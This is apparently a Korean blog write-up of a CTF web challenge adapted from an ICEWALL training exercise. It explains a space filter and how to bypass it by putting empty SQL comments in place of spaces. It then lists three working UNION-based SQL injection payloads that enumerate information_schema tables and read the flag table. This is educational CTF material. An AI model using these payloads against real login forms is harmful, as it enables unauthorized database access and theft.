IST에서 진행된 챌린지 중 일부를 변형한 문제다.
> https://github.com/DelspoN/ICEWALL/tree/master/2019/ICEWALL-Security-Training/ctf/login-test
간단한 SQL Injection이지만, 여기서는 플래그가 있는 테이블 이름을 모른다는 점 때문에 바로 접근할 수 없다. 위 repo의 set.sql을 보면 MySQL을 사용한다는 점을 알아낼 수 있으므로, information_schema.tables에서 모든 테이블 이름을 전부 긁어올 수 있다.
다만 간단한 SQL Injection (' or '1'='1) 을 시도하면 do not hack 메시지를 띄운다. 여러 시행착오를 거치면 공백을 필터링한다는 사실을 알아낼 수 있고, 공백을 전부 빈 주석으로 치환하면 필터링을 우회할 수 있다.
다음과 같은 쿼리를 패스워드에 넣어봤다. (id는 아무 값이나 들어가도 됨)
'union/**/select/**/table_name,table_schema/**/from/**/information_schema.tables/**/where/**/'1'='1
테이블 이름에 FLAG가 들어간다는 가정을 하고, like 조건을 추가해 테이블 이름을 검색했다.
'union/**/select/**/table_name,table_schema/**/from/**/information_schema.tables/**/where/**/table_name/**/like/**/'%flag%
이제 테이블에서 값을 읽어오면 된다.
'union/**/select/**/flag,'1'/**/from/**/flag_is_here/**/where/**/'1'='1
'ICEWALL' 카테고리의 다른 글
[Web] php-practice-v2 / 200 (0) | 2019.07.22 |
---|---|
[Web] resume2 / 150 (0) | 2019.07.22 |
[Web] resume / 100 (0) | 2019.07.22 |
[Forensic] backdoor / 200 (0) | 2019.07.22 |
[Forensic] secret / 100 (0) | 2019.07.22 |